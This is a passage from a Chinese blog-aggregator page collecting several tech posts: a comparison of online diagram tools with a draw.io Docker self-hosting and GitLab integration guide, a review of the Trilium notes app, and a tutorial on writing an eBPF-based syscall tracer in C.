*代表清仓，还可以使用NVDA*代表清仓 NVDA 的所有正股和期权。除了使用 QQQ 跌破 MA20 作为清仓信号，你还可以使用其他的指标，比如 SPX 跌破某个值等等。
最后
这套系统我目前只花了 2 个周末时间开发，还在不断的完善中。
如果你有什么好的建议或者想法，欢迎加我微信
ipzone加项目群交流，申请加好友请备注Warden。 -
- 博客 西秦公子 2024-08-06 00:08:29压力山大的时候，我就会选择去零食箱拿点零食，来消磨自己内心的压力（这也是为啥体重一直居高不下）。取零食多了，我 […]
- 博客 elmagnifico 2024-08-06 00:00:00
Foreword
测评一下在线画图工具，看还有没有比Draw.io更好用的，能否有更好的替代品
Draw.io
https://app.diagrams.net/
https://www.drawio.com/
优点太多了
- 免费、开源
- 很多软件支持嵌入，比如VS code，obsidian等
- 支持本地部署
- 模板众多、素材丰富
- 导出格式多
- 存储方式可以关联多种网盘
- 支持在线，也支持客户端离线使用
问题
- 风格有点老，不够好看
- 图片大了还是有点卡
- 打开和加载速度还是有点慢
- 缺少文件历史，必须要配合其他软件一起用
本地部署
# 创建 Draw.io 数据存放目录 mkdir /docker/Drawio -p && cd /docker/Drawio # 使用 Docker-Cli 运行 Drawio 容器 docker run -dit --name=drawio -p 8080:8080 \ -v drawiojs:/usr/local/tomcat/webapps/draw/js/ \ --restart=always jgraph/drawio访问路径，测试
http://服务器IP地址:8080确认没问题，再套上caddy，自动SSL就行了
draw.xxxx.com { reverse_proxy 127.0.0.1:8080 }https://app.diagrams.net/?lang=es改进入语言需要加一个后缀，否则改不掉
配置修改
如果要修改服务器默认配置可以通过修改
Preconfig.js文件实现先把原配置复制出来
docker cp drawio:/usr/local/tomcat/webapps/draw/js/PreConfig.js ./
添加默认中文
urlParams['lang'] = 'zh'; //设置默认中文同样的如果想修改默认配置，也可以通过添加属性来实现
window.DRAWIO_CONFIG = {"language":"zh","configVersion":null,"customFonts":[],"libraries":"general;uml;er;bpmn;flowchart;basic;arrows2","customLibraries":["L.scratchpad"],"plugins":[],"recentColors":[],"formatWidth":240,"createTarget":false,"pageFormat":{"x":0,"y":0,"width":827,"height":1169},"search":true,"showStartScreen":false,"gridColor":"#d0d0d0","darkGridColor":"#424242","autosave":false,"resizeImages":null,"openCounter":4,"version":18,"unit":1,"isRulerOn":false,"ui":"","darkMode":false,"pages":true,"defaultGridEnabled":false,"defaultPageVisible":false};如果需要修改默认导出的url，可以修改BASE_URL
window.DRAWIO_BASE_URL = 'https://xx.com';反向复制回去
docker cp ./PreConfig.js drawio:/usr/local/tomcat/webapps/draw/js/PreConfig.js客户端修改
默认配置可以随便修改，这种只会修改个人的配置，根据浏览器缓存绑定，并不会修改服务端
https://www.drawio.com/doc/faq/configure-diagram-editor
{ "language": "zh", "configVersion": null, "customFonts": [], "libraries": "general;uml;er;bpmn;flowchart;basic;arrows2", "customLibraries": [ "L.scratchpad" ], "plugins": [], "recentColors": [], "formatWidth": 240, "createTarget": false, "pageFormat": { "x": 0, "y": 0, "width": 827, "height": 1169 }, "search": true, "showStartScreen": false, "gridColor": "#d0d0d0", "darkGridColor": "#424242", "autosave": false, "resizeImages": null, "openCounter": 4, "version": 18, "unit": 1, "isRulerOn": false, "ui": "", "darkMode": false, "pages": true, "defaultGridEnabled": false, "defaultPageVisible": false }比如上面的就是默认中文，关闭默认的网格显示，关闭页面视图，这样看起来就无限大了
私有化存储
Draw.io有一些私有化存储的方案
- dropbox
- github
- trello
- google drive
- one drive
- gitlab
不过这种都是个人存储，团队私有化的话，比较适合使用gitlab作为存储库，还有一种MinIO作为存储端，这种是DIY的方案
https://github.com/mathcoder23/drawio-minio-oss?tab=readme-ov-file
Gitlab联动
与Gitlab联动还挺麻烦的，首先需要Gitlab注册一个应用程序
注意，这里的程序id和secret需要复制下来，后续使用，此处需要给出对应的3个API接口访问权限才行，回调地址中需要填写你的drawio的地址并且加上
/gitlab的回调路径才行用前面方式创建的drawio的docker，如果只通过ProConfig，是无法适配的，总是会出现报错或者CSP问题，所以最好重新配置启动docker
docker run -d --name=drawio2 -p 8080:8080 -e DRAWIO_BASE_URL=https://你的drawio -e DRAWIO_GITLAB_ID=你的appid -e DRAWIO_GITLAB_SECRET=你的secret -e DRAWIO_GITLAB_URL=https://你的gitlab -e DRAWIO_CSP_HEADER="src \'self\'; script-src \'self\' https://code.jquery.com \'unsafe-inline\'; connect-src \'self\' https://你的gitlab; img-src * data:; media-src * data:; font-src * about:; style-src \'self\' \'unsafe-inline\' https://fonts.googleapis.com; frame-src \'self\' https://你的gitlab;" jgraph/drawio修改
PreConfig.js，开启Gitlab(function() { try { var s = document.createElement('meta'); s.setAttribute('content', 'src \'self\'; script-src \'self\' https://code.jquery.com \'unsafe-inline\'; connect-src \'self\' https://你的gitlab; img-src * data:; media-src * data:; font-src * about:; style-src \'self\' \'unsafe-inline\' https://fonts.googleapis.com; frame-src \'self\' https://你的gitlab;'); s.setAttribute('http-equiv', 'Content-Security-Policy'); var t = document.getElementsByTagName('meta')[0]; t.parentNode.insertBefore(s, t); } catch (e) {} // ignore })(); window.DRAWIO_BASE_URL = 'https://你的drawio'; window.DRAWIO_SERVER_URL = window.DRAWIO_BASE_URL + '/'; window.DRAWIO_VIEWER_URL = ''; window.DRAWIO_LIGHTBOX_URL = ''; window.DRAW_MATH_URL = 'math/es5'; window.DRAWIO_CONFIG = {"language":"zh","configVersion":null,"customFonts":[],"libraries":"general;uml;er;bpmn;flowchart;basic;arrows2","customLibraries":["L.scratchpad"],"plugins":[],"recentColors":[],"formatWidth":240,"createTarget":false,"pageFormat":{"x":0,"y":0,"width":827,"height":1169},"search":true,"showStartScreen":false,"gridColor":"#d0d0d0","darkGridColor":"#424242","autosave":false,"resizeImages":null,"openCounter":4,"version":18,"unit":1,"isRulerOn":false,"ui":"","darkMode":false,"pages":true,"defaultGridEnabled":false,"defaultPageVisible":false}; urlParams['sync'] = 'manual'; //Disable Real-Time urlParams['db'] = '0'; //dropbox urlParams['gh'] = '0'; //github urlParams['tr'] = '0'; //trello urlParams['gapi'] = '0'; //Google Drive urlParams['od'] = '0'; //OneDrive window.DRAWIO_GITLAB_URL = 'https://你的gitlab'; window.DRAWIO_GITLAB_ID = '你的appid'; urlParams['lang'] = 'zh'; //设置默认中文- 注意此处需要去掉
urlParams['gl']如果有window.DRAWIO_CSP_HEADER属性也要去掉
理论上此时就已经可以访问了，启动时会提示GiLab
创建绘图以后会出现授权跳转
然后就可以直接存储到代码仓库中了，并且地址每次保存其实就是一个commit更新
常见问题
如果出现400错误
细看这个跳转链接，和issue中报错的其实是一样的
https://draw.你的.com/gitlab?code=e0303bc6cc574f0aba111db163e8831288026e28264ec334f093d22123c4430b&state=cId%3D你的id%26domain%3Ddraw.你的.com%26token%3D16rlbhnmkrmi3nnfnitokrltab7u0mcgd494phdgd5ba38ghhr4i这里看起来更像是链接转义时有问题，正确的应该是类似下面的，但是这里有一个
state=cID=这里很奇怪，感觉是漏了一个&https://draw.你的.com/gitlab?code=e0303bc6cc574f0aba111db163e8831288026e28264ec334f093d22123c4430b&state=cId=你的id&domain=draw.你的.com&token=16rlbhnmkrmi3nnfnitokrltab7u0mcgd494phdgd5ba38ghhr4i出现这个问题是因为只在PreConfig中设置了GitLab相关内容，但是实际程序跑起来不知道为什么没有应用这里的配置，导致实际不生效，所以要通过docker的环境变量去配置
还有一种方式，在docker启动时直接指定参数
docker run -d --name=drawio2 -p 8016:8080 -e DRAWIO_BASE_URL=https://draw.你的.com:8016 -e DRAWIO_GITLAB_ID=你的id -e DRAWIO_GITLAB_SECRET=你的secret -e DRAWIO_GITLAB_URL=https://gitlab.你的.com -e DRAWIO_CSP_HEADER="default-src \'self\'; script-src \'self\' \'unsafe-inline\'; connect-src \'self\' https://gitlab.你的.com; img-src * data:; media-src * data:; font-src * about:; style-src \'self\' \'unsafe-inline\';" jgraph/drawio在授权时会遇到没有权限访问的情况了，这个是CSP有问题
简单说就是跨域还是有问题，好几个issue基本都是类似的问题
Refused to connect to 'https://gitlab.你的.com/api/v4/user' because it violates the following Content Security Policy directive: "connect-src 'self' https://*.dropboxapi.com https://api.trello.com https://api.github.com https://raw.githubusercontent.com https://*.googleapis.com https://*.googleusercontent.com https://graph.microsoft.com https://*.1drv.com https://*.sharepoint.com https://gitlab.com https://*.google.com https://fonts.gstatic.com https://fonts.googleapis.com". mxXmlRequest.send @ app.min.js:211上面是一个博主写的CSP替换头，这个头其实不正确，就会导致一直报CSP问题，替换成下面的头即可
DRAWIO_CSP_HEADER=default-src \'self\'; script-src \'self\' https://code.jquery.com \'unsafe-inline\'; connect-src \'self\' http://MY_SERVER_URL; img-src * data:; media-src * data:; font-src * about:; style-src \'self\' \'unsafe-inline\' https://fonts.googleapis.com; frame-src \'self\' http://MY_SERVER_URL;还有一种情况是你的PreConfig有问题，注意上面的
s.setAttribute这个属性里会有你的gitlab地址，很多人用了错误的content导致只要PreConfig应用了就会出错的情况(function() { try { var s = document.createElement('meta'); s.setAttribute('content', 'src \'self\'; script-src \'self\' https://code.jquery.com \'unsafe-inline\'; connect-src \'self\' https://你的gitlab; img-src * data:; media-src * data:; font-src * about:; style-src \'self\' \'unsafe-inline\' https://fonts.googleapis.com; frame-src \'self\' https://你的gitlab;'); s.setAttribute('http-equiv', 'Content-Security-Policy'); var t = document.getElementsByTagName('meta')[0]; t.parentNode.insertBefore(s, t); } catch (e) {} // ignore })(); window.DRAWIO_BASE_URL = 'https://你的drawio'; window.DRAWIO_SERVER_URL = window.DRAWIO_BASE_URL + '/'; window.DRAWIO_VIEWER_URL = ''; window.DRAWIO_LIGHTBOX_URL = ''; window.DRAW_MATH_URL = 'math/es5'; window.DRAWIO_CONFIG = null; urlParams['sync'] = 'manual'; //Disable Real-Time urlParams['db'] = '0'; //dropbox urlParams['gh'] = '0'; //github urlParams['tr'] = '0'; //trello urlParams['gapi'] = '0'; //Google Drive urlParams['od'] = '0'; //OneDrive window.DRAWIO_GITLAB_URL = 'https://你的gitlab'; window.DRAWIO_GITLAB_ID = '你的appid';国内
国内的基本没有免费，除了钱还是钱
PDDON
https://pddon.com/
国产画图工具，但是加载速度是真的慢，基本不具有可用性
- 访问困难
MindMaster
亿图图示，国内的在线制图，除了广告，就是弹窗，收费、收费、VIP，单用户1080的天价，打扰了
水平拉连接点会出现bug
ProcessOn
国内的在线制图，问题和MindMaster基本一样，除了广告就是弹窗VIP，免费版本只能在线创建9个图
技术上比MindMaster好一点，界面也清爽一些，剩下的差不多，价格也便宜一些，不过我期望的是免费，这里就不提了。
国外
国外的在线画图，都有一个统一的问题，国内访问困难
Excalidraw
https://excalidraw.com/
Excalidraw 准确说不像是个画图工具，更像画板工具，自由度很高，可以随便画
- 支持多人合作
- 支持自定义素材
- 免费限制很小
- 开源
- 界面好看
问题也比较明显，素材库每个人都不一样，没法对齐每个人的，免费功能还是有限
素材种手绘的样式比较多，很可爱，如果要正式场景下就有点难顶，素材库每次导入就是导入所有，而不能部分，有些别扭
私有化部署+修改存储方案
https://github.com/alswl/excalidraw-collaboration
Plant UML
https://plantuml.com/zh/
用代码画图，有一套完整的语法，早期我自己也用，后来发现想让别人理解太难了，可惜，画图而已，不想浪费生命，还是拖拽更好一些
Visio
老牌工具，没啥大问题，但是安装麻烦，体积太大，跟不上时代了
OneModel
https://www.onemodel.app/diagrams/my-diagrams
国外的制图网址，免费版限制很少，可以无限量画，只对工作空间人数有限制
图样的参数相对比较少，可用素材也比较少，素材风格相对比较统一
Tldraw
https://www.tldraw.com/
开源、免费的白板，支持多人共享，类似Excalidraw，但是没有素材库，也完全没有收费的版本
Figma
https://www.figma.com/
Figma更像UI规范的工具，画图也可以，整体简洁清爽，不过还是一样收费才能无限图，否则只能1个图文件
Summary
能打的画图工具太少了，wolai中也不支持draw.io嵌入，但是wolai已经有意向在之后加入draw.io了
Quote
https://blog.alswl.com/2022/10/self-hosted-excalidraw/
https://www.cnblogs.com/wuhanjiayou/p/18145848/Drawio
https://www.erballoon.vip/2024/01/14/dockerbszxhtdrawio/
https://musicfe.com/drawio/
https://www.xubiaosunny.top/post/self-hosted_drawio_and_add_pravate_gitlab_storage_yfzk.html
https://github.com/jgraph/docker-drawio/tree/dev/self-contained#gitlab
https://blog.csdn.net/qq_28800347/article/details/136523271
https://github.com/jgraph/docker-drawio/discussions/30
- 博客 Jason 2024-08-05 22:00:00
一大早更新了 iText，一个小改动：自动排版时，替换中文右引号”。
其实，是之前没做好。至于说什么这么明显的问题没做好，就有点奇怪了。
- 博客 elmagnifico 2024-08-05 00:00:00
Foreword
去年选择了wolai作为团队知识管理工具，之前已经使用过了obsidian，但是对非程序员不够好用，其次没有完善的权限管理，做共享比较麻烦，给出去就是源码，无法做后续管控，wolai基本都能解决这些问题。
但是也有一些不够好的点，性能上对比Typora或者一般的编辑软件确实弱了一些，文档书写为了普适性，更适合一般人用，而没有更专业的模式，或者说更适合程序员使用的模式，这点不够好。
其次wolai价格不便宜，偶尔还是有一些小bug
Trilium的效果有点出乎意料
Trilium
https://github.com/zadam/trilium
无意间发现了Trilium，这不就是一个obsidian+git+vps+图床+drawio的一个应用嘛，是不是可以取代wolai
特点
- 树状结构文件，支持任意嵌套和引用（克隆）
- markdown格式，图 ，表，公式
- code支持高亮
- 版本控制
-
可视化文档链接关系
- 支持各种图制作和嵌入，画板
- 在线制图工具嵌入，drawio
- 嵌入脚本
- 公开分享
- 支持导入和导出，支持剪藏
- 数据备份
试用
https://github.com/zadam/trilium/releases/tag/v0.63.7
建议先从windows开始，比较简单，解压就能用了
语言包
https://github.com/Nriver/trilium-translation/releases
默认Trilium是英文的，而且没有其他语系可以切换
如果已经打开过原版，需要删除缓存才能切换到中文版
你运行过原版的Trilium程序，系统里有英文版的缓存，请关闭trilium， Windows系统删除这个目录
C:\Users\用户名\AppData\Roaming\Trilium Notes, Linux系统删除这个目录~/.config/Trilium Notes/。再启动Trilium就是中文的了。- trilium-data，最好也一并删除了，这样可以快速初始化中文数据库
这个前置块按钮和wolai好像
不过这个markdown好像不标准，没有一级标题，只有二级到六级，wolai是没有五六级，咋就是不完美呢
主题
仔细用了一下trilium这个默认主题也太难看了
特别是把原本的文章转过来，默认的这个markdown渲染，这都什么玩意
修改主题，使用SinkeyTheme，总算是舒服一点了
https://github.com/sinkey100/trilium-theme/blob/main/README_CN.md
难受的点就是目录里的这个123456是什么鬼啊，很不想要
转换blog
https://www.ankia.top/3LdIi2f30Pan
https://github.com/dvai/Ankia-Theme
使用Ankia的博客主题，直接开启分享就可以看到效果了
这渲染出来的效果还不错哎
已有文章拖进去，立马就能看到了
集成draw.io
https://www.shmaur.com/drawioInstall.html
https://github.com/SiriusXT/trilium-drawio
这简直跟VS Code一样了，直接集成各种JS应用
更多探索
https://github.com/Nriver/awesome-trilium
这里有更多主题、插件等等介绍
问题
- 不支持多人协作
- 多端同步也比较困难
- 分享无法带权限管理，只有密码或者公开
- 历史功能有点难用，不知道是什么逻辑记录历史的
- 书写体验有点拉跨，远逊于Typora、Obsidian等
- Markdown格式不标准，这个很奇怪
- 插件、主题各种资源相对比较少一些
- 图片不能直接右键复制
其他
dokuwiki，作为wiki好像也打不过Trilium
Joplin，缺少树型结构，文档编辑类似论坛发文章的东西，没有什么亮点
tiddlywiki，无markdown，论坛式的，虽然支持双链、图片，但是交互逻辑过于老气了
Summary
Trilium通过小小的DIY，已经超出预期了，有点心动的感觉，唯一的缺点在于编辑方式比Typora差太多了
Quote
https://sspai.com/post/85515
https://post.smzdm.com/p/avp2w9m4/
https://www.ankia.top/sfDk7s6iFuno
https://post.smzdm.com/p/ao95lw4n/
https://www.ankia.top/
- 博客 鸟窝 2024-08-04 17:27:25
先决条件
系统调用、eBPF、C语言、底层编程基础。
简介
eBPF(扩展的伯克利数据包过滤器)是一项允许用户在内核中运行自定义程序的技术。BPF或cBPF(经典BPF)是eBPF的前身,它提供了一种简单高效的方法来基于预定义规则过滤数据包。与内核模块相比,eBPF程序提供了更高的安全性、可移植性和可维护性。现有多种高级方法可用于处理eBPF程序,如Cilium的Go语言库、bpftrace、libbpf等。
注意: 本文要求读者对eBPF有基本了解。如果你不熟悉它,ebpf.io上的这篇文章是很好的参考资料。
目标
你应该已经熟悉著名的工具
strace。我们将使用eBPF开发类似的工具。例如:1./beetrace /bin/ls以下是该文本的地道中文翻译：
概念
在开始编写我们的工具之前，我们需要熟悉一些关键概念。
跟踪点（Tracepoints）：这些是放置在 Linux 内核代码各个部分的检测点。它们提供了一种方法，可以在不修改内核源代码的情况下，钩入内核中的特定事件或代码路径。可用于跟踪的事件可以在/sys/kernel/debug/tracing/events中找到。SEC宏：它在目标 ELF 文件中创建一个新的段，段名与跟踪点的名称相同。例如，SEC(tracepoint/raw_syscalls/sys_enter)创建了一个具有这个名称的新段。可以使用 readelf 命令查看这些段。
1readelf -s --wide somefile.o映射（Maps）：这些是可以从 eBPF 程序和用户空间运行的应用程序中访问的共享数据结构。
编写 eBPF 程序
由于 Linux 内核中存在大量的系统调用，我们不会编写一个全面的工具来跟踪所有系统调用。相反，我们将专注于跟踪几个常见的系统调用。为了实现这一目标，我们将编写两类程序：eBPF 程序和加载器（用于将 BPF 对象加载到内核并将其附加进来）。
让我们首先创建一些数据结构来进行初始设置:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374// controller.h// SYS_ENTER : for retrieving system call arguments// SYS_EXIT : for retrieving the return values of syscallstypedef enum{SYS_ENTER,SYS_EXIT} event_mode;struct inner_syscall_info{union{struct{// For SYS_ENTER modechar name[32];int num_args;long syscall_nr;void *args[MAX_ARGS];};long retval; // For SYS_EXIT mode};event_mode mode;};struct default_syscall_info{char name[32];int num_args;};// Array for storing the name and argument count of system callsconst struct default_syscall_info syscalls[MAX_SYSCALL_NR] = {[SYS_fork] = {"fork", 0},[SYS_alarm] = {"alarm", 1},[SYS_brk] = {"brk", 1},[SYS_close] = {"close", 1},[SYS_exit] = {"exit", 1},[SYS_exit_group] = {"exit_group", 1},[SYS_set_tid_address] = {"set_tid_address", 1},[SYS_set_robust_list] = {"set_robust_list", 1},[SYS_access] = {"access", 2},[SYS_arch_prctl] = {"arch_prctl", 2},[SYS_kill] = {"kill", 2},[SYS_listen] = {"listen", 2},[SYS_munmap] = {"sys_munmap", 2},[SYS_open] = {"open", 2},[SYS_stat] = {"stat", 2},[SYS_fstat] = {"fstat", 2},[SYS_lstat] = {"lstat", 2},[SYS_accept] = {"accept", 3},[SYS_connect] = {"connect", 3},[SYS_execve] = {"execve", 3},[SYS_ioctl] = {"ioctl", 3},[SYS_getrandom] = {"getrandom", 3},[SYS_lseek] = {"lseek", 3},[SYS_poll] = {"poll", 3},[SYS_read] = {"read", 3},[SYS_write] = {"write", 3},[SYS_mprotect] = {"mprotect", 3},[SYS_openat] = {"openat", 3},[SYS_socket] = {"socket", 3},[SYS_newfstatat] = {"newfstatat", 4},[SYS_pread64] = {"pread64", 4},[SYS_prlimit64] = {"prlimit64", 4},[SYS_rseq] = {"rseq", 4},[SYS_sendfile] = {"sendfile", 4},[SYS_socketpair] = {"socketpair", 4},[SYS_mmap] = {"mmap", 6},[SYS_recvfrom] = {"recvfrom", 6},[SYS_sendto] = {"sendto", 6},};加载器将读取用户通过命令行参数提供的待追踪 ELF 文件的路径。然后，加载器会创建一个子进程，并使用
execve来运行命令行参数中指定的程序。父进程将处理加载和附加 eBPF 程序所需的所有设置。它还执行一项关键任务：通过 BPF 哈希映射将子进程的 ID 发送给 eBPF 程序。
123456789101112131415161718192021222324252627// loader.cint main(int argc, char **argv){if (argc < 2){fatal_error("Usage: ./beetrace <path_to_program>");}const char *file_path = argv[1];pid_t pid = fork();if (pid == 0){// Child processint fd = open("/dev/null", O_WRONLY);if(fd==-1){// error}dup2(fd, 1); // disable stdout for the child processsleep(2); // wait for the parent process to do the required setup for tracingexecve(file_path, NULL, NULL);}else{// Parent process}}要追踪系统调用，我们需要编写由
tracepoint/raw_syscalls/sys_enter和tracepoint/raw_syscalls/sys_exit跟踪点触发的 eBPF 程序。这些跟踪点提供了对系统调用号和参数的访问。对于给定的系统调用，tracepoint/raw_syscalls/sys_enter跟踪点总是在tracepoint/raw_syscalls/sys_exit跟踪点之前触发。我们可以使用前者获取系统调用参数，使用后者获取返回值。此外，我们将使用 eBPF 映射在用户空间程序和我们的 eBPF 程序之间共享信息。具体来说，我们将使用两种类型的 eBPF 映射：哈希映射和环形缓冲区。
1234567891011121314151617// controller.c// Hashmapstruct{__uint(type, BPF_MAP_TYPE_HASH);__uint(key_size, 10);__uint(value_size, 4);__uint(max_entries, 256 * 1024);} pid_hashmap SEC(".maps");// Ring bufferstruct{__uint(type, BPF_MAP_TYPE_RINGBUF);__uint(max_entries, 256 * 1024);} syscall_info_buffer SEC(".maps");确定了映射关系之后，我们就可以动手写代码了。首先，让我们来编写针对追踪点 tracepoint/raw_syscalls/sys_enter 的程序代码。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647// loader.cSEC("tracepoint/raw_syscalls/sys_enter")int detect_syscall_enter(struct trace_event_raw_sys_enter *ctx){// Retrieve the system call numberlong syscall_nr = ctx->id;const char *key = "child_pid";int target_pid;// Reading the process id of the child process in userlandvoid *value = bpf_map_lookup_elem(&pid_hashmap, key);void *args[MAX_ARGS];if (value){target_pid = *(int *)value;// PID of the process that executed the current system callpid_t pid = bpf_get_current_pid_tgid() & 0xffffffff;if (pid == target_pid && syscall_nr >= 0 && syscall_nr < MAX_SYSCALL_NR){int idx = syscall_nr;// Reserve space in the ring bufferstruct inner_syscall_info *info = bpf_ringbuf_reserve(&syscall_info_buffer, sizeof(struct inner_syscall_info), 0);if (!info){bpf_printk("bpf_ringbuf_reserve failed");return 1;}// Copy the syscall name into info->namebpf_probe_read_kernel_str(info->name, sizeof(syscalls[syscall_nr].name), syscalls[syscall_nr].name);for (int i = 0; i < MAX_ARGS; i++){info->args[i] = (void *)BPF_CORE_READ(ctx, args[i]);}info->num_args = syscalls[syscall_nr].num_args;info->syscall_nr = syscall_nr;info->mode = SYS_ENTER;// Insert into ring bufferbpf_ringbuf_submit(info, 0);}}return 0;}同理，我们也能编写用于读取返回值并将其传递给用户态空间的程序代码。
12345678910111213141516171819202122232425262728// controller.cSEC("tracepoint/raw_syscalls/sys_exit")int detect_syscall_exit(struct trace_event_raw_sys_exit *ctx){const char *key = "child_pid";void *value = bpf_map_lookup_elem(&pid_hashmap, key);pid_t pid, target_pid;if (value){pid = bpf_get_current_pid_tgid() & 0xffffffff;target_pid = *(pid_t *)value;if (pid == target_pid){struct inner_syscall_info *info = bpf_ringbuf_reserve(&syscall_info_buffer, sizeof(struct inner_syscall_info), 0);if (!info){bpf_printk("bpf_ringbuf_reserve failed");return 1;}info->mode = SYS_EXIT;info->retval = ctx->ret;bpf_ringbuf_submit(info, 0);}}return 0;}现在，让我们来完善加载器程序中父进程的功能部分。但在进行之前，我们需要理解几个关键函数的工作原理。
1、bpf_object__open: 通过打开由传递路径指向的 BPF ELF 对象文件并在内存中加载它，创建一个bpf_object结构体实例。1LIBBPF_API struct bpf_object *bpf_object__open(const char *path);2、
bpf_object__load: 将 BPF 对象加载到内核中。1LIBBPF_API int bpf_object__load(struct bpf_object *obj);3、
bpf_object__find_program_by_name: 返回指向有效 BPF 程序的指针。1LIBBPF_API struct bpf_program *bpf_object__find_program_by_name(const struct bpf_object *obj, const char *name);4、
bpf_program__attach: 根据自动检测的程序类型、附加类型和适用的额外参数，将 BPF 程序附加到内核。1LIBBPF_API struct bpf_link *bpf_program__attach(const struct bpf_program *prog);5、
bpf_map__update_elem: 允许在与提供的键对应的 BPF 映射中插入或更新值。1LIBBPF_API int bpf_map__update_elem(const struct bpf_map *map, const void *key, size_t key_sz, const void *value, size_t value_sz, __u64 flags);6、
bpf_object__find_map_fd_by_name: 给定一个 BPF 映射名称，返回该映射的文件描述符。1LIBBPF_API int bpf_object__find_map_fd_by_name(const struct bpf_object *obj, const char *name);7、
ring_buffer__new: 返回指向环形缓冲区的指针。1LIBBPF_API struct ring_buffer *ring_buffer__new(int map_fd, ring_buffer_sample_fn sample_cb, void *ctx, const struct ring_buffer_opts *opts);第二个参数必须是一个可用于处理从环形缓冲区接收的数据的回调函数。
1234567891011121314151617181920212223242526272829bool initialized = false;static int syscall_logger(void *ctx, void *data, size_t len){struct inner_syscall_info *info = (struct inner_syscall_info *)data;if (!info){return -1;}if (info->mode == SYS_ENTER){initialized = true;printf("%s(", info->name);for (int i = 0; i < info->num_args; i++){printf("%p,", info->args[i]);}printf("\b) = ");}else if (info->mode == SYS_EXIT){if (initialized){printf("0x%lx\n", info->retval);}}return 0;}它会打印系统调用的名称和参数。
8、
ring_buffer__consume: 此函数处理环形缓冲区中可用的事件。1LIBBPF_API int ring_buffer__consume(struct ring_buffer *rb);现在我们有了编写加载器所需的一切要素。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137// loader.c#include <bpf/libbpf.h>#include "controller.h"#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <sys/wait.h>#include <unistd.h>void fatal_error(const char *message){puts(message);exit(1);}bool initialized = false;static int syscall_logger(void *ctx, void *data, size_t len){struct inner_syscall_info *info = (struct inner_syscall_info *)data;if (!info){return -1;}if (info->mode == SYS_ENTER){initialized = true;printf("%s(", info->name);for (int i = 0; i < info->num_args; i++){printf("%p,", info->args[i]);}printf("\b) = ");}else if (info->mode == SYS_EXIT){if (initialized){printf("0x%lx\n", info->retval);}}return 0;}int main(int argc, char **argv){int status;struct bpf_object *obj;struct bpf_program *enter_prog, *exit_prog;struct bpf_map *syscall_map;const char *obj_name = "controller.o";const char *map_name = "pid_hashmap";const char *enter_prog_name = "detect_syscall_enter";const char *exit_prog_name = "detect_syscall_exit";const char *syscall_info_bufname = "syscall_info_buffer";if (argc < 2){fatal_error("Usage: ./beetrace <path_to_program>");}const char *file_path = argv[1];pid_t pid = fork();if (pid == 0){int fd = open("/dev/null", O_WRONLY);if(fd==-1){fatal_error("failed to open /dev/null");}dup2(fd, 1);sleep(2);execve(file_path, NULL, NULL);}else{printf("Spawned child process with a PID of %d\n", pid);obj = bpf_object__open(obj_name);if (!obj){fatal_error("failed to open the BPF object");}if (bpf_object__load(obj)){fatal_error("failed to load the BPF object into kernel");}enter_prog = bpf_object__find_program_by_name(obj, enter_prog_name);exit_prog = bpf_object__find_program_by_name(obj, exit_prog_name);if (!enter_prog || !exit_prog){fatal_error("failed to find the BPF program");}if (!bpf_program__attach(enter_prog) || !bpf_program__attach(exit_prog)){fatal_error("failed to attach the BPF program");}syscall_map = bpf_object__find_map_by_name(obj, map_name);if (!syscall_map){fatal_error("failed to find the BPF map");}const char *key = "child_pid";int err = bpf_map__update_elem(syscall_map, key, 10, (void *)&pid, sizeof(pid_t), 0);if (err){printf("%d", err);fatal_error("failed to insert child pid into the ring buffer");}int rbFd = bpf_object__find_map_fd_by_name(obj, syscall_info_bufname);struct ring_buffer *rbuffer = ring_buffer__new(rbFd, syscall_logger, NULL, NULL);if (!rbuffer){fatal_error("failed to allocate ring buffer");}if (wait(&status) == -1){fatal_error("failed to wait for the child process");}while (1){int e = ring_buffer__consume(rbuffer);if (!e){break;}sleep(1);}}return 0;}以下便是 eBPF 程序的部分。所有的 C 语言源码最终会被编译整合成单一的对象文件。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697// controller.c#include "vmlinux.h"#include <bpf/bpf_helpers.h>#include <bpf/bpf_core_read.h>#include <sys/syscall.h>#include "controller.h"struct{__uint(type, BPF_MAP_TYPE_HASH);__uint(key_size, 10);__uint(value_size, 4);__uint(max_entries, 256 * 1024);} pid_hashmap SEC(".maps");struct{__uint(type, BPF_MAP_TYPE_RINGBUF);__uint(max_entries, 256 * 1024);} syscall_info_buffer SEC(".maps");SEC("tracepoint/raw_syscalls/sys_enter")int detect_syscall_enter(struct trace_event_raw_sys_enter *ctx){// Retrieve the system call numberlong syscall_nr = ctx->id;const char *key = "child_pid";int target_pid;// Reading the process id of the child process in userlandvoid *value = bpf_map_lookup_elem(&pid_hashmap, key);void *args[MAX_ARGS];if (value){target_pid = *(int *)value;// PID of the process that executed the current system callpid_t pid = bpf_get_current_pid_tgid() & 0xffffffff;if (pid == target_pid && syscall_nr >= 0 && syscall_nr < MAX_SYSCALL_NR){int idx = syscall_nr;// Reserve space in the ring bufferstruct inner_syscall_info *info = bpf_ringbuf_reserve(&syscall_info_buffer, sizeof(struct inner_syscall_info), 0);if (!info){bpf_printk("bpf_ringbuf_reserve failed");return 1;}// Copy the syscall name into info->namebpf_probe_read_kernel_str(info->name, sizeof(syscalls[syscall_nr].name), syscalls[syscall_nr].name);for (int i = 0; i < MAX_ARGS; i++){info->args[i] = (void *)BPF_CORE_READ(ctx, args[i]);}info->num_args = syscalls[syscall_nr].num_args;info->syscall_nr = syscall_nr;info->mode = SYS_ENTER;// Insert into ring bufferbpf_ringbuf_submit(info, 0);}}return 0;}SEC("tracepoint/raw_syscalls/sys_exit")int detect_syscall_exit(struct trace_event_raw_sys_exit *ctx){const char *key = "child_pid";void *value = bpf_map_lookup_elem(&pid_hashmap, key);pid_t pid, target_pid;if (value){pid = bpf_get_current_pid_tgid() & 0xffffffff;target_pid = *(pid_t *)value;if (pid == target_pid){struct inner_syscall_info *info = bpf_ringbuf_reserve(&syscall_info_buffer, sizeof(struct inner_syscall_info), 0);if (!info){bpf_printk("bpf_ringbuf_reserve failed");return 1;}info->mode = SYS_EXIT;info->retval = ctx->ret;bpf_ringbuf_submit(info, 0);}}return 0;}char LICENSE[] 